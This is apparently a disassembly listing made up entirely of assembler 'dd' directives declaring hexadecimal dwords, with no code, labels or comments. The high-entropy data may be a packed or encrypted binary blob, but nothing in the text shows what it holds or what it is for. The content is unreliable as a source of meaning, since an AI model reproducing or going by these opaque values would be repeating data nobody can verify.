dd 8DCA0757h, 76B3E90Eh, 7B56271Ch, 451757Ah, 0B02E0C4Dh
dd 12CC12DFh, 9DFC485Eh, 838329D9h, 0C2651674h, 4BB2006Ch
dd 0E95E4E87h, 0E180BDD0h, 6866097Ch, 49643206h, 0C10E0F7Dh
dd 0AEE128B9h, 588ABFE9h, 249AE30h, 7FBF9756h, 72A1D0E8h
dd 90967AA6h, 5DBA1A32h, 7C2DDB45h, 8F1C7AC5h, 4F239B5Dh
dd 0BBB55DA8h, 0EBADA971h, 6DC04A02h, 0E22E7586h, 3D024C54h
dd 56334443h, 0C7F75250h, 126CA6CEh, 955A2E0h, 6E7C1h
dd 0D38BA3ABh, 0DE91314h, 640C585Ah, 214AF3FEh, 1447CDA0h
dd 9505D65Eh, 4CD1E11h, 0AD1155BFh, 40C78F82h, 0BF9C8D94h
dd 1027DD5Ah, 3B2A4886h, 0BD5580BEh, 0A104FF09h, 0B9BF66Eh
dd 90D5D565h, 2F195E0Fh, 6AB65A7Fh, 572DE912h, 4F38F4Bh
dd 0E2ABE7C4h, 719F187Fh, 80924129h, 78000D48h, 0F720B661h
dd 176905D8h, 0B15EC0A9h, 80903F3Eh, 58884E75h, 66645221h
dd 68AE8C54h, 98764B25h, 2539503Eh, 0F0501EDAh, 4FE0B902h
dd 0D7315305h, 66E9C1C8h, 5F09352h, 37076887h, 46E96A42h
dd 0FF59076Ah, 84B7B232h, 8E1431AFh, 5A394072h, 3B355B5Ah
dd 8582A7BFh, 0D1AFF01Ch, 2AA37A38h, 4B7AC4F6h, 0FE111715h
dd 0E7F69633h, 65660A0Eh, 23E00A13h, 0A8CEA551h, 6FF50B23h
dd 0A6806D7Fh, 7CD63EAh, 6BE02D0Fh, 54F474C7h, 9B0968D2h
dd 610E3E79h, 0FA497D6h, 4991CE9h, 0EF292754h, 4C08C710h
dd 0F9A02D3Ah, 0C7288BFBh, 0D27090DDh, 0EFF9C051h, 618D153Bh
dd 0D9033AB8h, 0E90EE264h, 0B2D14C33h, 5407E103h, 0F7E13740h
dd 2DC06D2Dh, 5234C19Bh, 0A85EE826h, 0E882B4F1h, 3C94578Eh
dd 0A294C604h, 0EB13E5FDh, 0E90937CEh, 0AC5A01A3h, 30E45F1Fh
dd 1E0980E8h, 603FFD3Bh, 8B25F244h, 7432E7E8h, 1555403Eh
dd 0D03E0473h, 0A9318430h, 18EAAA88h, 0C733B3Fh, 2D286F49h
dd 809827Eh, 5014A45Dh, 0E7A5208Fh, 0B185B601h, 5AF12890h
dd 0FE22A830h, 0C4B4DC5h, 5568F844h, 37F8B9C8h, 68B897B1h
dd 73056852h, 5A306134h, 67023180h, 4E31EADFh, 81A1B9CAh
dd 0FE375AF2h, 0F7619247h, 0E9C84668h, 0B950400Eh, 5C2DC300h
dd 0D7C1811Eh, 6DF82E21h, 4EE0221h, 9F7E030h, 0C31A006Ah
dd 4A7D35A7h, 263F524h, 60D75F08h, 82A542E4h, 55DAA25Ch
dd 9926FD73h, 0CC4B42h, 108CCA81h, 9259783Dh, 0AEB796A4h
dd 0F0B25201h, 3B90EA80h, 0A2DB96C2h, 44D830CFh, 436813AAh
dd 8B3BE75Bh, 80ED7902h, 0E970C380h, 16BFDCCFh, 0A9D4B734h
dd 5677A7C2h, 0D8C98EB0h, 683FB3E0h, 0DFA84523h, 0C5BD08D1h
dd 0BD360935h, 0F80AEE5Fh, 81A654C0h, 48E303F1h, 0CA21686Dh
dd 5ADD8FEAh, 4DC302BAh, 29256664h, 8837B58h, 4E5D1C00h
dd 3DE97459h, 0C5BA569h, 0EB67F6CAh, 1392E7Ah, 97CB3E59h
dd 0A34E305Ah, 9A4CE4F2h, 0C12F7E8Bh, 3A5F5941h, 0FB5B95A6h
dd 0F5BBD829h, 115D4640h, 92C76C5h, 4BC03DAEh, 9836642Dh
dd 336A0474h, 0AF4E5F1Dh, 5D98BD80h, 91416E1h, 0CFE001F7h
dd 3F9205B4h, 32869E0h, 877A6751h, 64F42D7h, 8D4078CDh
dd 50287201h, 26CBAA4Bh, 12971A38h, 6D3BE11Fh, 60E9E091h
dd 0EF591C3h, 618947DFh, 8DF28FDh, 5A41D42Dh, 377D5ADFh
dd 7B105359h, 3313E07Ch, 3D16D8EAh, 81CCEC4Bh, 7F5A04B4h
dd 0AB5C0106h, 0C41E5A2h, 4C321E75h, 116304D3h, 22DDAABDh
dd 5D9A6F55h, 6164C85Bh, 0BF03809Fh, 7DA06A36h, 2436BA10h
dd 6F648EA2h, 0BC393205h, 71EAA2D1h, 335749A3h, 0D852BA3Dh
dd 42C641E9h, 78E80548h, 316A32Dh, 2E006719h, 18DC249Dh
dd 44E720E9h, 24EF8724h, 0BA022E10h, 337A4C91h, 0B0AAC477h
dd 0C6C23FE4h, 0F10C4B7Ch, 84BE01B1h, 2B5F4887h, 2972FB64h
dd 0CE0B5AC1h, 507CB800h, 352C280Dh, 0A16B0B78h, 9E782800h
dd 29AC7409h, 13E5D7C5h, 0C4882D94h, 0DDAFC029h, 62BAED27h
dd 0FCF7026Eh, 0DD6DD848h, 25509A11h, 11A02B4Dh, 961A1D10h
dd 0AE38011h, 831D5753h, 0C3FE01F8h, 0F3B61097h, 577C6E2Eh
dd 0B130D8C1h, 0FC368E42h, 18754C16h, 635D1003h, 4AF9044Bh
dd 0BA807038h, 124D1BA1h, 87EEC158h, 7BE371B1h, 0C8480EAh
dd 1297A17h, 66DEA0F3h, 5557801Ah, 64D16804h, 4DC00CFDh
dd 145874F5h, 0E24D3F32h, 79084405h, 1244FF25h, 8A0AF1C9h
dd 7E561EA6h, 16111DDAh, 0D00BFED0h, 731C82EFh, 3B8009AFh
dd 0E010FEEh, 905C465Ch, 6EF05008h, 2AC5A12h, 8E8615AEh
dd 70CBBEB5h, 941F3048h, 21F5765h, 0F43F9896h, 0DC037676h
dd 0E36266Dh, 345C7EC8h, 0AFC7E9E5h, 5519B844h, 0FAD8B549h
dd 50EE519Fh, 0C269A8E9h, 6D07F540h, 0B21A92FDh, 77D98802h
dd 62CEEF87h, 905D5AF7h, 0B5C0AC05h, 560268F1h, 0C6678568h
dd 5A5E2D6Dh, 0CADC9B99h, 37F10C48h, 19763517h, 1D1A9CE0h
dd 4CED302Bh, 0BD24E2F9h, 0CF440E09h, 7E5575Dh, 6678601h
dd 70E2E925h, 90B9067Ch, 5E1D4136h, 0F83D7F0Bh, 33447F7Eh
dd 6EDC0C95h, 39203067h, 0E3DBC15Ah, 3164330Ah, 5996D3C8h
dd 41079DC5h, 47E57D43h, 7885D0FEh, 1E406C7Bh, 4BFD7CCCh
dd 50BDB0E7h, 69FFF9BFh, 80A23E57h, 25685304h, 5DE62E10h
dd 30012BE3h, 264E07B9h, 6CD91931h, 0F2775D02h, 2047B054h
dd 0B91DE1ECh, 64D36245h, 8A8F04BAh, 0C409E8D0h, 15B21E23h
dd 27ED9986h, 0FDFB6195h, 8AE2A37Fh, 0AE00A850h, 0B83F6310h
dd 0B00BD3B2h, 38961437h, 64570507h, 8A219F7h, 17BF00D9h
dd 7160301Ah, 5B72587Ah, 0E5681578h, 3381EC5Ch, 7A87D6CDh
dd 4858C586h, 0AC16C85Fh, 0D98DEEC8h, 0EBAD903Ah, 34F77088h
dd 96F4734Ch, 0D3013704h, 0D9E8FCE9h, 0ED93CD4Bh, 0FA176A12h
dd 0BB20FEF8h, 6612DC9Dh, 5AA16711h, 25AA2879h, 0B949250h
dd 0A7D77E83h, 0A92019DAh, 7C53F892h, 12070952h, 15800C57h
dd 0C463CCF2h, 8B0A2058h, 3DA55E06h, 0F47CAE16h, 0C500F36Ah
dd 52409160h, 96DD82E9h, 73A8017h, 0D4350238h, 74967101h
dd 412DE105h, 4AF5E9F0h, 631AAABh, 65730902h, 0D9E9540Bh
dd 66AC8D21h, 0E94AED68h, 0DA413F56h, 4D463AE3h, 82162FE8h
dd 90E54355h, 1CB151FAh, 97D9F6A9h, 0B906BAD1h, 67061BE9h
dd 83382492h, 4D05E62Ah, 3F9501BFh, 0BBEE8BC1h, 2ADC0FAFh
dd 90C1AF3Eh, 5BDEE9E1h, 1290F3ABh, 75FB035Ah, 728AF68h
dd 0E9B849B9h, 0CC5C804Bh, 50BD2A49h, 0A5599CF3h, 363B8843h
dd 6D571843h, 493B680Ch, 20107B63h, 0F6800EE6h, 0B9EE6027h
dd 0F35AF528h, 5A207ECCh, 3823F6ECh, 2D44D238h, 45704295h
dd 0FE6884EBh, 0A28EEE05h, 0FB12CF27h, 6C1F3240h, 0E9460A05h
dd 0CBBED031h, 0FD9741D2h, 0C8D9CADDh, 0A5B95317h, 1A5DEB86h
dd 8997E927h, 0A7369793h, 281D0561h, 0B00AA1A9h, 1ABB355h
dd 5356B1F1h, 0FA3D6072h, 6C0D1402h, 76ED98E9h, 9E8F8B6Bh
dd 873099D7h, 0C6EE20E2h, 787B2032h, 215AA49h, 455489BAh
dd 1EE4DF3Ah, 421310Ah, 848ED7Ah, 17091C34h, 8CBA085Ah
dd 34C9F6AEh, 0E859BDB7h, 9EEEDF6Bh, 97B2E926h, 80EB298Bh
dd 0E42CFC64h, 0C2FEC018h
dd 5D6C164Eh, 75E95309h, 9D147FACh, 0FF90F095h, 0DD34BBF9h
dd 0D9255C52h, 164FB14Ch, 8B92BB01h, 4845DD14h, 0F475AFA0h
dd 68180806h, 4C0A3D2Ch, 5800035Fh, 402FE712h, 0C231A02Dh
dd 0EDE26E29h, 0D604AB04h, 87059CDCh, 0FD0BFEDDh, 401BD791h
dd 98F50CE2h, 50069C24h, 5EB2F8FDh, 2F0D4007h, 5268866Ah
dd 5E62F0B7h, 0EA1016AEh, 9D977061h, 1DC65B92h, 0BD4116FDh
dd 4D3B2083h, 5F79AC80h, 0B464C274h, 2FDF1B41h, 0F7BE5600h
dd 904CB81Dh, 617B1212h, 0C6E400B3h, 0CFC6EFDh, 0EA00BBB0h
dd 0D13A7919h, 4EB1E9EEh, 0E3144386h, 9AA5444h, 4808BED1h
dd 27BA177Bh, 0B785A2C2h, 0F725FA64h, 44F25B3h, 1E216C7h
dd 0CBA2FEDDh, 0F688B776h, 5BFA2D1Ah, 0C21FCD50h, 84D2DB1Ch
dd 2BD789C9h, 283FE4Bh, 26F754ADh, 9760BB07h, 5AD6E922h
dd 413A4415h, 922C1DE2h, 5F253C10h, 295F1370h, 17CBBA95h
dd 73D302D2h, 0A8F5529Fh, 1F24082Bh, 0A84C962h, 67680BD4h
dd 8D4C185Dh, 2BC0828Eh, 0E7BE5B17h, 33FF5A97h, 70483301h
dd 22772F17h, 0D712EFD6h, 9FCDB9Ch, 8BF11064h, 205389BAh
dd 1D129D79h, 1C423888h, 23D46E9h, 0BB76EE29h, 29415851h
dd 672F0189h, 600BA280h, 1EB2580Ch, 0CA1A5847h, 1677B10Fh
dd 539DEEF8h, 7B07E16Ah, 41298FDCh, 3BF513FAh, 15DD0BAFh
dd 0C3300294h, 89FF3CE9h, 16411EE1h, 44A89FE9h, 0BC43220Dh
dd 557F1C7h, 9B250BBBh, 3667905Dh, 78C2E1A1h, 58D4BE0Dh
dd 66025C2Dh, 0D80120EAh, 62078A05h, 5DCB2810h, 60975A46h
dd 0FBF4AECh, 0F1D5B851h, 4CD60289h, 24192502h, 0E74EC098h
dd 0ED81A8BEh, 41B71A9h, 0D7685A2Eh, 2937AA70h, 4D122FA5h
dd 0F82D96D0h, 6754341Ah, 8507149Bh, 2C813014h, 4BF7A63Dh
dd 30A497D3h, 60AA7FE9h, 9E5260B8h, 5EF20BD8h, 2CEC039Ah
dd 0E23F0E29h, 208967C5h, 6082007Eh, 429D5AB4h, 0E092C1CFh
dd 0F7877262h, 0B088D4E1h, 0F5AB77Eh, 62CE90A5h, 0DD624AACh
dd 0F9BF91E5h, 5D0245BCh, 9B5A6F68h, 12EEC782h, 929DF5F3h
dd 0D758ABE9h, 270BAE0Ch, 0DEA83609h, 12732408h, 6389ABD1h
dd 0BA9AE0E4h, 7E6B0FB1h, 0AF492690h, 0D52F3DD4h, 0C07F3C32h
dd 88434B58h, 0B88009FDh, 6B251EBFh, 4B6A9749h, 0C582ADF5h
dd 5104D9D5h, 4AE33683h, 3C31F60Ch, 5F804ADDh, 4AEF4B87h
dd 7BA1032h, 0CCCB805Eh, 0D9A20379h, 3645AE09h, 0D5698F1Ah
dd 957D9487h, 5CD4073h, 31110B20h, 0E5462B7h, 4AD6A007h
dd 15D7F8Dh, 197C3705h, 0F6F00117h, 400DE013h, 0F790BFFDh
dd 729E413Dh, 9D386350h, 0BA93B8D9h, 702F13B1h, 0B12F9C6Fh
dd 4F295F32h, 13BE7C91h, 11C9B659h, 0EA5F0A5Dh, 18757D75h
dd 660649EAh, 34CF7B03h, 22927905h, 64B929C7h, 3E12F580h
dd 0D99758FCh, 46D30166h, 65567AABh, 75C56BCBh, 41AEACC4h
dd 7E6CF364h, 29F02E5Fh, 824101EFh, 0E9C62967h, 0E6B56BBCh
dd 6C9620h, 0B90B3235h, 52864FE5h, 5CF13127h, 0C8E7C2A9h
dd 8140FA55h, 0B9005297h, 0AD4F11C9h, 9759E08h, 0C701h
dd 57F874CDh, 679402FAh, 0DB3A8D26h, 2D6B9BF1h, 398B2ADBh
dd 20EEDC13h, 77151223h, 83264095h, 10BE1D57h, 1ED87B4Bh
dd 90A3B916h, 0B44A75F9h, 0D5294813h, 0C082810h, 27DA42E9h
dd 6947BC7h, 0E7C13E3Ah, 34091202h, 7FA18674h, 9BD15187h
dd 42FE32F7h, 8E667553h, 3E9E019Dh, 567059ABh, 9D612DEFh
dd 330FE2FCh, 1B2C0A0h, 6069E9F1h, 0E0F279B9h, 1A1F4597h
dd 149D089h, 5D8412B7h, 0FCABBD23h, 0D5F61409h, 69CB0E66h
dd 0E5B6D7E6h, 0B94FEE90h, 85C62BD7h, 0B1EF62Fh, 1326465h
dd 0F273787Eh, 98096AD6h, 4B50C8F1h, 8107B059h, 2D1D1313h
dd 80CD18EAh, 0C84882FEh, 0E6135E39h, 85EECABBh, 0A6F330EFh
dd 46094C25h, 2D4F477Dh, 0F961CBA4h, 986518DFh, 3F72B032h
dd 0FA12D30Ch, 4D9E4648h, 29202715h, 0C5B4CB6h, 780E5C48h
dd 2DFED226h, 0D6716DDh, 88344D6h, 0A666609Bh, 41F5C55Ah
dd 0A1C5A86Fh, 0F7C739Ah, 4313D3C0h, 0EF24C112h, 7025502h
dd 571BF811h, 4719498Ch, 0D4AC409Fh, 0E9071C87h, 8E68A775h
dd 0E1253331h, 0C6200F2Ch, 5A82E52Fh, 2ABAF0B1h, 145B6440h
dd 0A3284F88h, 8B898786h, 0EA2DE577h, 0EE11F5C6h, 0F8E7A761h
dd 0EDC12D56h, 0ACD98255h, 58B3EB51h, 0CD16F84Bh, 7A3FE4D4h
dd 1CA15709h, 66DAB85Bh, 8012B75Eh, 0BBF5FA84h, 3206B4F2h
dd 0D42B7A76h, 46A2718h, 304CCAF6h, 0C24EF428h, 38334687h
dd 0F8190C36h, 92299212h, 0B4C9012Eh, 0F77B2B5Bh, 0E77630D9h
dd 0D79DC104h, 0B281CB31h, 0A8C3C5EBh, 0B7DA0152h, 0B0DD329Ah
dd 55E9FADFh, 0A43ED4D4h, 23275F57h, 97125F61h, 45F616DDh
dd 972A60B1h, 0AD13FE97h, 9DB7365Dh, 65C0ABDEh, 39157E12h
dd 13056852h, 0FB5A57AFh, 770B36A0h, 0ED20F751h, 535940D7h
dd 0EDF2545Bh, 0A1B850C7h, 6A10B07Dh, 5EF7D8A0h, 46850BDEh
dd 0D50A9E50h, 90F10B07h, 9A11E602h, 7EA555Dh, 0B6D080Ah
dd 954BB10h, 76ADB24Ah, 0C874E939h, 655A4EC0h, 0BCD9C40h
dd 0EF76F701h, 0EC7E1A59h, 94D3C564h, 7BE37DFEh, 7BAB5644h
dd 9072E902h, 3EC3ACA3h, 945BA8F9h, 2708EBC7h, 38FD7E5Eh
dd 39681774h, 0CE8C3126h, 0AFB83AC2h, 0FFF4AFA3h, 0E66E49CDh
dd 0CA8C9613h, 0EA5E32E9h, 65F9EE51h, 1309E601h, 0BD442C12h
dd 57A96BC1h, 8740D347h, 8201D89Fh, 5D4A9540h, 42F30878h
dd 88FC1CEh, 0D52C8CA5h, 86DCFED8h, 30F541B5h, 0FB0B35E4h
dd 222AF060h, 7D39E3DDh, 4C0F0D18h, 0F006552Fh, 2EE92768h
dd 53E14F68h, 0EF004FB0h, 0BB1AF43Ch, 4A0BC315h, 2CA3A9E5h
dd 0E10815D9h, 0A2680425h, 0E731FF35h, 5903E2F5h, 2E169BB1h
dd 0BE25DBA6h, 0DA922D74h, 31078A01h, 0BF05190Dh, 5F676255h
dd 0FB4F5D9Ah, 9F208529h, 0E2460409h, 0A8F9E96Eh, 2C583B7Dh
dd 7FAD7070h, 0BA5D5684h, 4E7878A2h, 51A503A8h, 0CE90F988h
dd 0BB246859h, 5E6B4D24h, 58C5061Fh, 0E9169F5Ah, 3BF68A07h
dd 69CC2C7Ah, 0C6E06CF3h, 4426C25h, 54BAC375h, 0F44A4D65h
dd 8226E971h, 80A4C0DEh, 0CF4C0A00h, 0AE28125h, 380923CBh
dd 5611038Fh, 560F10D8h, 0A56D7AD5h, 60B896E9h, 8AEC800Fh
dd 0ABE64E05h, 962761A3h, 0EE594305h, 798584E6h, 0DC0EB521h
dd 0D9BDF843h, 2B688E22h, 0E7782B58h, 2DB2DC82h, 0A08994F5h
dd 0BD487FB1h, 9273DFDEh, 0CA290294h, 4794BE1h, 54A346F0h
dd 2468F26Dh, 625B07D2h, 0D287DA88h, 0A8CC54D1h, 68B65F89h
dd 0E5E5076Fh, 28798258h, 0E905C8FBh, 0B540D07Eh, 0C38029B3h
dd 8A6197A7h, 2F2231F3h, 88D09791h, 0D9F9F5C2h, 0D459CB4Fh
dd 0EAD62F2Eh, 1DE91454h, 0B6050EE1h, 8013FE16h, 0A15273A5h
dd 1E1644Fh, 382EA339h, 96F740F6h, 3C2FF415h, 5E6C6401h
dd 0EB6E162Bh, 0FA4FD88Fh, 0B15C2328h, 9BCA09ECh, 0D81D9877h
dd 2F828293h, 1F427163h, 7F26C05Fh, 0BAAD25CFh, 0A0CD7068h
dd 0C16CB89Fh, 0C906B658h, 68851E74h, 0A4051747h, 24AFE8DCh
dd 19D5FE97h, 55EB8501h, 30830A9Ch, 0F3040B8h, 4E6AE7E0h
dd 512F0413h, 77158D01h, 917A133Fh, 7EAB1C03h, 0EF937DB3h
dd 4BE9C130h, 30D9BFE3h, 79B89E44h, 6C21BE5Ah, 0CA62EB3Ah
dd 787DA905h, 88D4EF2Eh, 2BBC0816h, 6A05EAB0h, 0B472D624h
dd 3AD4F344h, 0D83B4B70h
dd 0EEDEC10Ah, 3E06B02Bh, 0C7323ACh, 586B604Fh, 2F13D80Ch
dd 44FBA797h, 9CB7D0Eh, 240D621h, 12E82338h, 9565E055h
dd 0EF2D80E4h, 1509211Eh, 463C5889h, 64830F31h, 0D9AB4F44h
dd 0FB5EF9A5h, 0D0C1AB83h, 54FB6806h, 5E588F61h, 5EFBF295h
dd 6B5A01FAh, 2CD2AA8Fh, 1DEE5F47h, 92D6ED96h, 0E609F6C8h
dd 71ADA2Dh, 0B51B5AE5h, 0BEED603Eh, 2661A027h, 3541E0Ch
dd 0A5A0C0BAh, 8C93DE97h, 0B112EA1Fh, 798DF70h, 1775C020h
dd 1357565Fh, 0F350B47Ah, 0E1F8B40Bh, 68D38114h, 716673D8h
dd 1272BE4Ah, 0D2AD85F4h, 280FB6F8h, 0D90B1CE2h, 2C08B008h
dd 94172626h, 0BD17FA80h, 10D9F38Ah, 680BC081h, 101A1D9Ah
dd 53B4C1DDh, 8DD6D3CDh, 4BA0BCD7h, 0FCCC2F6Fh, 424F8072h
dd 18F52AFh, 0F25036FAh, 0E8E2EC66h, 0F75B16CBh, 730342E5h
dd 2F625947h, 2CD45160h, 5EF07847h, 4E875865h, 2F77AA14h
dd 0F34478B5h, 5A0BD590h, 0C6BE80DDh, 1D773528h, 532921BBh
dd 2804BBBDh, 1E137CC8h, 0A399D7E3h, 5651256Ch, 0D5686115h
dd 92E36B1Ch, 7FFCF192h, 70842Dh, 9AF84875h, 0A2C817A4h
dd 0E59C1757h, 0EFC0C8FDh, 7DD744E2h, 0F74E44B8h, 0F93520FBh
dd 75489128h, 0EF83B1DAh, 0D3E3EC6Fh, 7DE5501Dh, 6E5FBA99h
dd 4E7395A9h, 0DA3E313Ah, 49287ECAh, 0D927D0E6h, 0F5EFEE07h
dd 8705B03Bh, 5E518F7Eh, 2ED149F0h, 0FD563E82h, 8474A342h
dd 0B37F1EBh, 99C6A407h, 8DBC367Ah, 778CA862h, 0C5B49C18h
dd 58E12805h, 5809CB88h, 63822F1Eh, 84BAF280h, 939B6BAh
dd 96A6E99Dh, 0D62D0C5Ch, 89E0A21Ah, 32FFA54Bh, 0CE605292h
dd 5F482334h, 1F85041Ah, 9AE0E5Eh, 29AFCEA6h, 59832DC0h
dd 0FEEA2510h, 57C83117h, 74192A8h, 12138E04h, 73E0F287h
dd 2E76D835h, 0EB515Dh, 62BD131Fh, 0FE4067E9h, 54270B2Dh
dd 0EF850DD8h, 0E528EE91h, 0B1BD5483h, 902B0CBh, 4E7E18C0h
dd 123DC6F7h, 0AAC8BF0Fh, 35E98AC8h, 84EFA777h, 3B3AA06h
dd 0E9092548h, 0F1DA6D3Fh, 28EC0820h, 90B2CAFEh, 0DCF42084h
dd 2D40D8B7h, 0F2E8BA09h, 557B66C5h, 0CD7F4376h, 19A05113h
dd 280A8B01h, 877B1FB5h, 0C30B2243h, 0C232D5CCh, 0D3D1F4h
dd 37AC292Dh, 69EA89Ch, 8C2651E7h, 0DD8572F6h, 21455B5Fh
dd 77BEA571h, 7AF9B221h, 182DB54h, 70408E05h, 88E100A3h
dd 0E90F992Dh, 27CF50B0h, 800E9E89h, 8EAB164Ah, 13A65AC4h
dd 0EB5AD716h, 99314ADDh, 9B87864h, 4D7E4C76h, 0DC43107Fh
dd 1F1C4A44h, 63724477h, 0FA1AB123h, 91C088Dh, 5B230214h
dd 1C25171h, 2885C1F2h, 0F011EB26h, 68CF021Bh, 0E1293F35h
dd 0BFD86EC1h, 92D90BBh, 5E726287h, 8432855h, 6B0AF927h
dd 0E970EDF4h, 11C9433h, 3D386CBFh, 46729D2Eh, 50028BC5h
dd 0D8CE7082h, 7AD0B746h, 5BF1304Dh, 9C131BACh, 0C1F8944Ch
dd 2C71500h, 56E1DD89h, 29852ABEh, 507B3AFBh, 1C91C860h
dd 0AB207B7h, 0C398A4B2h, 1D60F580h, 2D5300B3h, 49E6AE8Ah
dd 0BB4EB7E9h, 383C29AFh, 6668C003h, 903CF66Fh, 4A25509Ch
dd 73F509C6h, 750545EBh, 6515F4A8h, 76AE1812h, 0FA8416FAh
dd 7D56B992h, 7D26E359h, 42190025h, 1255CA81h, 28EF7Dh
dd 0E4973D01h, 0CB5EE90Eh, 88323D17h, 72EC778Fh, 4540ECBh
dd 0F703CD70h, 0D09B92DAh, 6242559Ah, 148EE580h, 0BB599E9h
dd 2DF76F3h, 4D6009F2h, 15E043F5h, 0DD8012C8h, 0BB98FE3Bh
dd 0CE050E36h, 65562D12h, 41518142h, 0C2005D18h, 13947924h
dd 46FD5DB2h, 14821C08h, 0D9F7636Ah, 1892E897h, 69BD99DCh
dd 2C1E2004h, 9C7E5C1h, 0A616730h, 0F00A901Bh, 4D9B043Bh
dd 0ABF9B5E9h, 0C72572A7h, 40DAF790h, 0E9A3309Dh, 0ED694F94h
dd 2F1388CAh, 730BB67Eh, 0D534CA55h, 0B175A9A9h, 406EAE8Bh
dd 0C98EC502h, 894A34FDh, 11415EF5h, 680094ECh, 40A86959h
dd 403E4B9h, 0F1813484h, 0E10D4FE0h, 1BB62EBFh, 21F82DC0h
dd 2CCA2A40h, 6A2C0705h, 9546208h, 7D804E46h, 7E7902B7h
dd 563A81BFh, 0CCC017BEh, 0A9E97C26h, 873B66B2h, 0C968494Eh
dd 0C6894381h, 5ACBF46Bh, 8357E69Dh, 8FCDB494h, 0FAA46930h
dd 316AF952h, 0A465E975h, 754B32B7h, 0E35F7127h, 2640916Dh
dd 1040E493h, 5B500953h, 0F889DE89h, 0BDB2E540h, 2B74EDEFh
dd 2F4841B7h, 3F4E417Dh, 0DF50F1C1h, 5622EB76h, 0F69DA98Ch
dd 6E575A58h, 0C18A250Eh, 80141075h, 7CCB973Dh, 9E46FBC5h
dd 0B526AA65h, 0F7138202h, 6C59E055h, 696A4C49h, 7BFA6F10h
dd 0C0136BECh, 47AB09DAh, 0B458C69Ch, 7B70B195h, 41BA532Ch
dd 0DEEF026Dh, 38C6095Fh, 0B4B4CD77h, 0BEE66255h, 0EE6381B2h
dd 7AF1235Bh, 0E84ACD7Ch, 1100E5B4h, 673031B3h, 87DE39F7h
dd 8D36274h, 0F284CE81h, 0E6BD8066h, 453E73BBh, 34F63336h
dd 0F129B144h, 135EB490h, 89BEF068h, 353F68D3h, 0DB891381h
dd 0F510E42Dh, 0AFB800C8h, 3547C377h, 54741FEDh, 0C5BDD928h
dd 0C5D160B5h, 0B3E6FFB8h, 8E5C002h, 5F6664E9h, 0D87D83A2h
dd 8BD2640Fh, 0A134CCEFh, 62E3904Bh, 908BFA97h, 35C5B412h
dd 1884813Ah, 0B95281CFh, 6AF94FC1h, 0CA58F13Ch, 81A0CD48h
dd 55257FE2h, 1805C4Dh, 965829BEh, 2AB6EDE9h, 55040A9Bh
dd 997DC868h, 0DB764157h, 405D028Bh, 2647DEEFh, 0A51A3591h
dd 0ACC4D4ECh, 0D8FDD676h, 51994B10h, 920A2043h, 0D45A3E7Bh
dd 3E6A9DB1h, 0FA8D4FC4h, 0ABFB852Eh, 214ABC8Fh, 0C26471D6h
dd 0CC425155h, 254B20DCh, 44D645EDh, 796C10Ah, 0D674CA31h
dd 9BB54FD0h, 8DE84820h, 849D10h, 0B753C9B6h, 6C7FE65h
dd 59B05066h, 0B5A10C20h, 4E8A7803h, 0D4290887h, 245E42B3h
dd 0E3025F09h, 0F0098AB6h, 44734EC7h, 3761CA90h, 0B3D053D5h
dd 0F666035h, 404855E2h, 0AE747A89h, 0EF24562Fh, 49D952A5h
dd 2A5FC2ACh, 0E95800AEh, 0EB2348FAh, 2E31A0D6h, 16640D1Fh
dd 0F187D8CDh, 0F2F3F230h, 0ED2A4B89h, 2001D45Ah, 0AB681352h
dd 3B25C91Fh, 75A19ABCh, 762D893Fh, 0F729B145h, 0D0FEB954h
dd 6BB3EB3Dh, 29C9FF09h, 7E280ADDh, 26ADE9A6h, 5DF84Bh
dd 480C8BBFh, 1F78115h, 0E010243Bh, 58288E0Ch, 0B1FBF45Dh
dd 3EC1903Eh, 34250395h, 0D0788E76h, 0D03E0h, 21E554D7h
dd 0F7F4D32Dh, 68F1A558h, 31A6CC36h, 0A6468602h, 25EAD508h
dd 815D0804h, 1EADA84h, 0DFE2D709h, 0B81BB6DAh, 0C8983941h
dd 964270Fh, 0A6EDE98Ah, 30E694FDh, 0C66FAB5Ah, 3B09462Fh
dd 89F789F9h, 57F1A4E5h, 0E98218B3h, 0D70B812Ah, 3472540Bh
dd 74D3DD25h, 0FF07C4ACh, 74A710B1h, 6884E4C7h, 2DAB0F47h
dd 10B73D0Bh, 25751531h, 0C59894Ch, 9D694382h, 57319251h
dd 56582A90h, 0AAC78A0h, 6ABFD7C0h, 0B87CE23Ah, 0ED474BCDh
dd 4DE503EEh, 7E0AC81Dh, 0DDC1129Eh, 0B157EA7Ah, 0B50D4AA0h
dd 0D45C9C04h, 8A29BBBFh, 0BE365030h, 3BF01F8h, 4029A448h
dd 123722C9h, 7D84285Bh, 0E9273CFAh, 0F4CB8625h, 0CD0170CAh
dd 6B261598h, 25CF664Eh, 0D6F9A433h, 3405EB02h, 0B2724543h
dd 4AE90880h, 0C2092097h, 4B4C01B0h, 1151924Fh, 8B4791AAh
dd 60D95E96h, 653CBF8Bh, 5B310BE7h, 3EC93FCCh, 9AE6D758h
dd 0FAEB8002h, 7DE8C0E9h, 0CB08E1Ch, 0B37C6AAAh, 0E8083C02h
dd 0C59C8014h, 2E33171Ah, 2D2DFF7h, 31CB2A5Dh, 0A8BF7E55h
dd 3EB00B62h, 0E5016F1Ah
dd 476A1536h, 66906CE4h, 0BE05FE3Ah, 623FA711h, 5E07042Fh
dd 6BE899FAh, 96907EE2h, 0CC02BE04h, 0E550FB20h, 78AB5E08h
dd 9425E924h, 8BF7B7Bh, 0B9177C91h, 0CB2C73B2h, 17C11064h
dd 1DFE53B1h, 54FA3DBEh, 0A3FBAC09h, 57253FCBh, 55A76802h
dd 405D5F72h, 1E65D7h, 0F28143E7h, 382607FAh, 0BE09DFB0h
dd 44F140Bh, 30AE45EDh, 0F745A77h, 9DE8304Eh, 5FF92981h
dd 56816E58h, 7F347190h, 4E2003F4h, 2FE78152h, 4F280BF8h
dd 0F10FACB0h, 53869FF9h, 0AB2165BBh, 10C6B9D0h, 8E3409EBh
dd 8A5EF301h, 0D7735D5Ah, 828FA69Ah, 0DECAAE76h, 0F1F740F4h
dd 474B3B68h, 3FC45ABDh, 67A81387h, 0F27BE349h, 50BFA692h
dd 0FF9BA958h, 7F07576Dh, 0B467FC54h, 67EE57CAh, 0C7B5C2D2h
dd 0E11883CAh, 4F94D562h, 8F1D0C4h, 925DB22Bh, 0AA5146BEh
dd 76978BC9h, 5E688B8Eh, 6AE96E21h, 0DFF60008h, 2FB40650h
dd 67BE480h, 0DC0F917Bh, 6349B353h, 0C228B8C3h, 0BC505D5Bh
dd 0E7585078h, 0F882E1C1h, 58A6923Eh, 74C77360h, 0D0644B27h
dd 5AB1B03Fh, 0C3A29035h, 5E3063F5h, 0EF4C0C2Fh, 0C20651A2h
